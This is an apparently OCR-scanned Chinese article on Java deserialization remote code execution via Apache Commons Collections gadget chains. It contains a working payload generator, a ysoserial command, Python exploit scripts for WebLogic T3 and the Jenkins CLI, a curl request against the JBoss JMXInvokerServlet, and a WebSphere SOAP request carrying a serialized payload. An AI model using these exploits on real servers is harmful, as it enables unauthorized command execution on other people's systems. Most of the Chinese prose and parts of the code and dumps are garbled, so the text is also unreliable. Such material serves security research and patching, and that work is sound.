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public static void main(String args[]) throws Exception {
String obj = "hello world!";

/] BFHMEIRE N fHfobject . dbHh

FileOutputStream fos = new FileOutputStream("object.db");
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os.writeObject(obj);
os.close();

/] M\3Xftobject . dbHiEENE IR
FileInputStream fis = new FileInputStream("object.db");
ObjectInputStream ois = new ObjectInputStream(fis);

/] BERFIMLIRESTSR0b]
String obj2 = (String)ois.readObject();
ois.close();

}

[ARET |, WNRava ARIAEFEA | BIAEEEIREM 7 REFFICE | BAKGEE LB EIEE S
A IERFFUCFEIFTEARINISR | BRI ST T R A A sE i R ARSI T,

FTLAX AN A EAIHRIRIE T 28 objectinputstrean FERFHIMLET | iIREIIERBIRIRAIZEEUSIRS | RERF
FUEATLAIR B avaS B RIR R | BRARRAISZ IR TIRE

REFUCRIREBREA . BFiElavaiB S48 | EMIESHIM0PHPFOPython BB AR, @geblF0
@frohof IR EFAHEHIIHARRFFIEXAN A , TR —LHE | fliApache Commons CollectionsHR
SCERRY— LSS mT LA s PR A [ FBSRSCIMERASH1T. Weblogic, WebSphere, JBoss, Jenkins, OpenNMS
XL BRI A TRIRBETESLARIE |, BUEMKEE T Apache Commons Collections, XFHERIFENRAIMER
7 REFWRERATEEIZREE |, S LA EEFE T ASLRHELERBH LB IR Firh , Bl 7 — NINEk bt E
RIS | siE S ltwitter EANTECHEILLE

r,

Thomas Patzke ¥ +& Follow
blubbfiction

Blaming Apache commons-collection for
RCE is like blaming a lib used in a ROP
exploit. Most misunderstood bug of this year.

2 1u SitdReHd%D

3:31 PM - 8 Nov 2015

@breenmachine B EFIEIHEITZTFApache Commons CollectionsiXNE , TR E—EHNRAR.

3 FJFHApache Commons CollectionsSCIFEACHSHIT

£ Matthias KaiserfE11B{0BYRE[1] , FefiJLAApache Commons Collections 37945l , SEARRRANRIFNENTSR |
BESLERERERFFE . BDVER readobject() BY , BBEEIESCIMERCIBINIT.

Map K ETFEHEXIHIZUELEH , Apache Commons Collections®SCHL 72 TransformedMap , FBSREXY map 13
TR, REFRA decorate() BREYN , & NkeyFlvalueAIZTHARREL Transformer , RIEJMIER Map XIGAE
FAERNAY TransformedMap , decorate() ERENGOT :

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);

}

Transformer J2— &L , HPENMH transform() BREAFRE— N ISRERMAS— NI, W -
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public interface Transformer {
public Object transform(Object input);

}

2 Map FHUERTRIKeyEE ValuetiHIER , FHRIAY Transformer FIEAEVART. BRULLAGL , 24 Transformer IR
%‘E%@_;E , ﬂ:zﬁz ChainedTransformer ,

Apache Commons CollectionsfA E&SLI 7 —LE AT transformer , EPE— A LUBIS AR )avaf R 5311
HIRERERREL , UM 1nvokerTransformer , fXABA0T :

public class InvokerTransformer implements Transformer, Serializable {

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;

}

public Object transform(Object input) {

if (input == null) {
return null;

}

try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {

throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + i
nput.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + i

nput.getClass() + cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + i
nput.getClass() + "' threw an exception", ex);

}

REBENGER. SEESEEMSH, AREERL. BEWEBEEAEHT , BT ESmiE—
A map FI—MNBEBSHITICIBAY chainedTransformer , LALAERY— Transformedmap , SRAEAEINELALA Map
FEY mapEntry FEAEIERT (B0 setvalue() BREY ) |, BIRJARA TR JM9iEATTransformer,

MEAHDANT

public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[@] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[@] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})};

Transformer transformedChain = new ChainedTransformer(transformers);

Map innerMap = new hashMap();
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innerMap.put("value", "value");
map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");

H EEBMEIBIEITE setvalue() BT , MiSHA ChainedTransformer FRES—ZFITHEEREY - BT

1 constantTransformer 3K Runtime 28 , H—E BT R ETVEFH getMethod FKE! invoke BRZEY , RIGHBIE TP

/7\ calc.exe o

ERBERINEELRFERB TR vap PRE—INEFR setvalue() , FAIFERINEEL readobject() H
EmA.

ﬁﬂ]xm, \EUjavaﬁ?i'ﬁEFﬁjZﬁé—ﬁ\;q’ﬁ AnnotationInvocationHandler , ﬁ¢%ﬁ—4\ﬁzﬁ % memberValues

B vap B WA

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;

B AFEZERR , AnnotationInvocationHandler Y readobject() ERZENTPIT membervalues HYEF—INIE
T setvalue() BREL , AR :

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;

try {
annotationType = AnnotationType.getInstance(type);

} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;

}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
/] bR —EIRITrans former
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));

Rl B TOREABEETEHNER] van SERIE AnnatarianTruncatinntandlan  AHITEAILY Mifh
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ENIU g IR I/ NTE S I IJRYEL T YASH Y N9 ZNTJASL AHHHVLG LLUVHLHIIVULG LIVINIGHULST ) MU J/J/7JTU | =304

& readobject() RIFFULAIEHER , BBESLIMAsSHIT. RINFEIEHIRE  BETARAKRE ZHIpackage
AUMIERRER , Bl IBT REFAVL T | GREEMERSESHRITAIpayloadkICA3ANT

public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class| ]
String.class, Class[].class }, new Object[]
"getRuntime", new Class[@] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[@] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})};

{
{

Transformer transformedChain = new ChainedTransformer(transformers);

Map innerMap = new hashMap();
innerMap.put("value"”, "value");
map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);

Object instance = ctor.newInstance(Target.class, outerMap);

File ¥ = new File("payload.bin");

ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);

out.flush();

out.close();

LA L f#%% 7 90{rJiEiZ Apache Commons Collections 3IXNEFRIED |, SRIGIERIINTS: |, FEERFERF
SRS AT LA BPSCIERARBHIT.

BT AR FER T Bysoserial[2][5134 fipayload , P EE T 4FEAAYpayload : Apache Commons
Collections 3¥[14 , Groovy , Spring , REBHRMFAYClass PathFE &IXLEZE |, ysoserial &k HIpayload B E]
1E readobject() SEFUFEMSHIT.

ysoserial 34t XFApache Commons Collections 3fpayloadtB2ETF TransformedMap F[1 InvokerTransformer &
FhER |, MEftAR , FESEXRA LN BHY AnnotationInvocationHandler , TiE{EH

T java.lang.reflect.Proxy FPASHERNEERELINA ., A BRANDHT , BXBINEETTSE
ysoserialBiRAS,

4 A LGl

4.1 F BT FEHEIA

BRER—Mavali A | FELE—MEZIMBBANFFICHIRATERER |, BRFIICRRIMRA SR, B
AT BRI RS R FF I ERELAIVERE (I8N readobject() ) KTk , BRI LAERSBIIXI N AR E
REHTIE , EERETESE SjavaFFIETEFFIT | javaFF I ETRIMFEALIFRC (aced 00

05 ) FFk,

e T REFIEARRG , BEZENARIClass Pathd 25 E & Apache Commons CollectionsZE ( ysoserial sz
FROEMEIRAT ) |, A0RE |, MirILUERysoserialSRER S FY I Apayload , I8EERFIEERITAIGS
Bie] :

java -jar ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollectionsl 'id >> /tmp/redrain' > payload.out

file:///C:/Users/hongyu-s/Desktop/java_unserialize_rce.html 5/11



201717127 Evernote Export

LL%ﬁﬁ?ﬁEUEI'J%)\XT?‘RHTL'_RT%E)\ , BUEFE N\payload , AWM A objectinputstream HY
REFIUCIERIE | BEfEIEIT ET A Runtime. getRunTime. exec BIATSERFIFE.

4.2 Weblogic
SRRBIFRIGE | LR X erepZEMIAIZE 1nvokerTransformer

root@f45f0209fall: /opt/OracleHome# grep -R InvokerTransformer ./
Binary file ./oracle_common/modules/com.bea.core.apache.commons.collections.jar matches

EEBISBIEEINBRMARNR , RIEFIAEFFULITSR.

WebLogic/MBRFF 7 —1N7001im 0 |, IXNmEOESZHTTP , T3, SNMPHMY , FIRTiW R S BRI R
AEBEMAIAIE |, BidEserver EINE , EEL¢T3TD‘1MHTTEmTJavar—ﬂﬂCﬁ% FRAEAII R BIBiXNME XX
MEFULFFERIFRIC (aced 00 05 ) fRI0Npayload , EERUX/MNEIE | FeRiAIRR.

LA T Ebreenmachine 5225 BRIA -

#!/usr/bin/python
import socket
import sys

sock = socket.socket(socket.AF INET, socket.SOCK STREAM)

server_address = (sys.argv[1l], int(sys.argv[2]))

print 'connecting to %s port %s' % server_address

sock.connect(server_address)

# Send headers

headers="t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-1-breens:7001\n\n"'print 'sending "%s"' % he
aders

sock.sendall(headers)

data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data

payloadObj = open(sys.argv[3],'rb").read()
payload="'print 'sending payload...''''outf = open('payload.tmp','w")
outf.write(payload)

outf.close()'""
sock.send(payload)

FEweblogicBFIFESF , BANVIMLEARBERIARIATIIMYEURPEEAjavalisR,
4.3 Jenkins

JenkinsB2—MEEFRATHICIER , FARSEIAIRMNPERE TIXMRER , XNMRAFEBMEWAIIIEX
B ORBRR T lavaRFFAILIRRAIZIN | EREK.

r]Eﬁ grepség/ﬂﬂﬁﬁ InvokerTransformer

root@f45f0209fall: /usr/share/jenkins# grep -R "InvokerTransformer" ./Binary file ./webapps/ROOT/WEB-I
NF/1ib/commons-collections-3.2.1.jar matches

EFF AR EIME |, EfZENeenkinsBICLIB X FRIFFMLIFIRTRE (r00) . FERXCLRIE— MBS :

00000000 00 14 50 72 6f 74 6f 63 6f 6C 32 43 4c 49 2d 63 ..Protoc 0l:CLI-c
00000010 6f 62 6 65 63 74 onnect
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AT R base644b I IT Apayload{Z B HRIGBE X FRIFFIMR , KB/E , TR, XEE

tH— TR

LI T E@breenmachine Y5222 F! FAHIZAS -

#!/usr/bin/python

#usage: ./jenkins.py host port /path/to/payload
import socket

import sys

import requests

import base64

host = sys.argv[1]
port = sys.argv[2]

#Query Jenkins over HTTP to find what port the CLI listener is on
r = requests.get('http://'+host+"': " +port)
cli port = int(r.headers['X-Jenkins-CLI-Port'])

#0pen a socket to the CLI port

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (host, cli port)

print 'connecting to %s port %s' % server_address
sock.connect(server_address)

# Send headers
headers="\x00\x14\x50\x72\x6F\x74\x6F\x63\x6F\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74"'prin
t 'sending "%s"' % headers

sock.send(headers)

data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data

data = sock.recv(1024)
print >>sys.stderr, 'received "%s"' % data

payloadObj = open(sys.argv[3],'rb").read()
payload_b64 = base64.b64encode(payloadObj)
payload=""

print 'sending payload...''''outf = open('payload.tmp','w")
outf.write(payload)

outf.close()'""
sock.send(payload)

4.4 Jboss

JbossZHMAERFELZ BllenkinsEMEAD | TEANZ BIFMN , ERIHF BB RIEFESIND AR
M, LSRRI FIEEE /invoker/imxB93ZHF , KEBD 1B FHISEFRAR | jbossERMIER T imx , FRLALLLEALAY
A EAFTHO.

DiTRENZE—# | RRNTIHAESIREImx E , FRLABEAITMY BRI NARE |, 2HTTPIIMY , 7B
BA | 1FHAYboss DRI LASEExploit — JBoss,

AT :

curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.Marshall
edValue' --data-binary '@/tmp/payload.out' http://172.17.0.2:8080/invoker/IMXInvokerServlet

AT AE breenmachineZS HAIhttpIEKIR X :

POST /invoker/JMXInvokerServlet HTTP/1.1

Hact+ 172 17 0O 220920

file:///C:/Users/hongyu-s/Desktop/java_unserialize_rce.html 711


http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#jboss

201717127 Evernote Export

A/ Lo d] e Uel s OUOU

1434

o] 1 ]

POST Finvoker/JMMInwvokerServlet HTTESL.1
Host: 172.17.0.2:8080 1
Content-Type:applicationdx-java-serialized-object;
class=org.jboss.invocation.Marshalledyalue
Content-Length: 1434

9 sr2sun.reflect.annotation.AnnotationInvocationHandler @M €~ L membery
nest Ljavasutil/Map; L typet Ljavaslangs/class;xpsy

java.util.Mapxr java.lang.reflect. Prowy

% C¥ Lhth Ljavallang/reflect/s Inv-:ucatiu:un]-[andler;xpﬁq"‘sr*urg. apache.commons. co
llections.map.LazyMapnbieh # L factoryt, Lorg/ apaches commons/collectionsd Tr
ansformer;xpsr:org. apache. commons. collections. functors.CchainedTransformer
Oz |
1Transfnrmerst—[LurgfapachefcnmmnnsfcnllectiunﬁfTraﬂsfDrmer;xpur—[Lnrg.ap
ache.commons.collections. TransE Drmer;@f*wti P9 HP Srjorg.apache. commons. o
ollections.functors.constantTransformer:ve o €4 L

iconstantt Ljavaslang/oObject;xpwr java.lang.Runtimexpsr:org.apache. commons
.cullectiDnE.functDrE.InvukerTransfDrmeri?@i}k{|4}8 [ ikrgst [Ljavallangsfobje
ct;L iMethodMamet Ljavadlang/String;[ iFaramTypest [Ljavallangiclass;xpur |
Ljava.lang.0bject; i)s]].xp t

getRuntimenr [Ljava. lang.l:lass;‘@* MEQ =*pt

getiMethodug~ wr java.lang.string@*@‘&z;% H#pwg~ sg~ ug~ pug~ t inwvokeug~ wr ja
wa.lang.objectxpwg~ sg~ ur [Ljava.lang. String,wﬁ{ﬁ x*pt touch

Stmpdpwmedt execugr gu#Esge sy java.lang. Integer S T waluenr java.lang.M
umber e Hpsr java.util.HashMap PR e T

loadFactorI thresholdsp? Bw xxvr java.lang.Overridexpg~:

4.5 WebSphere

WebSphereRJFI IR RIS L caseiAFEEZREER T |, AIEHNEROSBEE LM,
HEIZZMAIIAINE.,

[ERNEN
N R

com

com .0.0 com

im AT RE R E AT WebSphereZMARE T 10MNm O S ITAFEREO |, BiTburp suiteBEITEIBKwebsphere
,Jil uﬁﬁDSSSOtﬁ—/PPOSTE’ﬂlﬁz‘Z, bodyF s Ebase64bIRERYjava P MENTSR |, EHFRY , FRiSER
='r00" , A IEER B Ipayloadffibase644M B fF B E Z RIS LS SREN T FI A,

Reguest

Raw | Hex

EOST / HTTESL.Q

Host: 172.17.0.2.1:88%80 f
content-Type: textsuml; charset=utf-2

content-Length: 2646

SoaPaction: "urn:adminSerwicen

=7xml wersion='1l.0' encoding='UTE-%'%>

=S0OLEF-EMY:Enwvelope

Hmlns: SOARP-EMY="http://schemas.xmlscap.orglsoapfenvelopel "
wmlnsixsi="http:/ i www.wi,.orgs 2001/ ¥HMLSchema-instance"

file:///C:/Users/hongyu-s/Desktop/java_unserialize_rce.html 8/11
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wmlns:xsd="http: fwww. w3, org/ 2001/ ¥MLScheman=

=S0BF-EMY:Header xmlns:nsl="admin" nsl:WhskremoteRuntimeversion="8.5.5.1"
ns0: JMMessageversion="1.2.0" nsl:SecurityEnabled="true"

ns0: JMversion="1.2.0"*

<LoginMethodrEasichuth</LoginMethod=

</ S0AP-EMV¥iHeader>

=S0LP-ENY :Eody=

=nsl:gethttribnte xmlns:nsl="urn:sdminSerwvice"
SORT-EMVY:encodingstyle="http://schemas.xmlsoap.orgd soapf encoding/ "=
=objectname
H#5ittype="nsl:javax.management.objectName "> rO00AEXNyADIz dWdn cmyymbs v jdc Ehbm
EwvdSED aWiuLkEubm? 0¥ Rpb2 b TbnEwY2E 0 aW i uSEEuEG 1ol 08 Y36 1aghc TALMb WY £ Ymy
y¥mEsdwvzdeapTsphdmEwdXRpbC MY AT TARF AH 1 WwIMORE 1L gYXIhLixhbmovDixhoIMT eHE=Z
FopnnsfanWphdmEu dXRpbCc ENYHEdoghlamE 2 ¥ S0 sYWEN LNl Im= 1Y 3guUH IveHnh I o gz EEDYr
WIAL WL WhIBaC Y HamE 2 YS9 sYWENLIJ1Im=1Y¥30wsSWE IbiMhds 1vbkhhbmR sEXIT eHEZ cOE+5
Ezrcghgbd JoLmEwYWNoESEjb2ltb2bz omMvbS=1YIRpE2 Sz LmlhcC S MY XpE TWE wbu W IgpE SE J0
DARFMELAMYWHNIEI JEARR=TE 9 Ey I hoGE jas v Y2 9 tbWlney 9 jbixsE WMl aWdncy A UcmEn ol Iw
cmllejtdocHMyADpwCemou Y XEh Y Zh1DmNvbWlvbnMu Y2 9 sb5Y jd5 1vbnunfnvuY3RvonMuglihha
WEISFRYy YWEzEmA by kddeX FChe lwoC ARFBER]IpYHIhbnMmbI3 JLEX Tz AR Bt Wl wvomew Y XEh Y2
hlL:mMvwbWlvbnMvyI?sbsvwjds lvbnwyHIhbnMNmb3 JtEXITeHElcghtWilxvomcu ¥ XEh Y 2 h1LmM
wbWlvbnMuY29sbEYjds lvbnMuYHIhboNmb3 JEEX IV wY Y gl dgls o anEdcabnnnYrogh?baan
LMEWYWNoES5jb2 1t b2z omMvbE=1¥3RpE 25z LmE 1bmMOb3 Iz L KNvbO MO YWE 0YHIhbnMmb3 LT
HXIYdpAROOKE=1ATARI MECWIDE2E 2 ASFudHOAE lesg¥ X IhL2xhbmeow T TQEWNIO 3 hwdn IAE Wph dm
EubsFufytSsdwtlawllanonsnnanonbnnFdcHMNyrADD oMo ¥ XEh Y2 h 1 DmMvbW1lvbnlin Y 2 2 sbsw
JdslvbnMuEnvyu ¥ 3kvenku SWE ibitlelry YWSzamiybWvyyh+j/ a3tz joraambanvypoXIncIQR
EltMamE2Y¥SAsYWEnLOFiamYjdDtHastpTWY0 a5 9 KTME L EX0OAF eigY¥Y X ThLxhbmew U3 Ry aWwsino
1sac21l0YIhbvRE oYz draswWingYXShhixhbmovpixhoIMT eHElogaTWINgYXThimxhbmon T2
JOEWMIOSDOWIE0 oy lshghieHALALAC dBaKs I viUnYuds 1L S XYy AEJb TG phdmEUbEFuS vy SDbEE
rorurFtenyflampIasHhwanssdHOACWAlIAE11dshvIHYAHERH gRBBL T o ghDamE 2 Y35 sYWED
LlM0cmluSéDwpDhé 0T Mo AghheHEZ cOE+AES Z cOE+AEE 1 cOE+AESARLOC cCHY NAH ARG WA LD BREO D
AIpbnEvalvlocoE+AE4npnnt dnIAESphdmEubESFusy S rYmplyZoanannannnnonnoHhwdnERE g
AbCoIEAEgRWAKIALE l1tHamE 2 ¥SEsYWENLIM0emlutzut 1 1bnéR1 TRwILRBHh wARL B LW OLF HRwAWW
oICH0bXavoHAuSWROABRR]l e Y jAdELf ghennn o F Of ghjo3ELf ghR I IAEWpPhdmEUbEFu Sy T
bnR1EZVyEukgpFReEhz gonF JAAY 2 YW1 EXhyAEEgQYXEhimehbmou Tt ¥Ymyyh qoryHOou U4 IsCc o
LEdcARLOAFroghhamEZYSE1ds1sokhhel hNYNAFEY rEwHE gl oMo KY o mMEwYWRS YW b3 TI0 0

/
127.0.0.1:8880
text/xml; charset=utf-8
2646
"urn:AdminService"

<?xml version='1.0"' encoding="UTF-8'?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/so
ap/envelope/" xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.0rg/2001/
XMLSchema" ><SOAP-ENV:Header xmlns:ns@="admin" ns@:WASRemoteRuntimeVersion="8.5.5.1" ns@:IMXMessageVers
ion="1.2.0" ns@:SecurityEnabled="true" ns@:JMXVersion="1.2.0"><LoginMethod LoginMethod></SO
AP-ENV:Header><SOAP-ENV:Body><nsl:getAttribute xmlns:nsl="urn:AdminService" SOAP-ENV:encodingStyle="ht
tp://schemas.xmlsoap.org/soap/encoding/"><objectname xsi:type="nsl:javax.management.ObjectName"

objectname><attribute xsi:type="xsd:string" at
tribute nsl:getAttribute SOAP-ENV:Body></SOAP-ENV:Envelope
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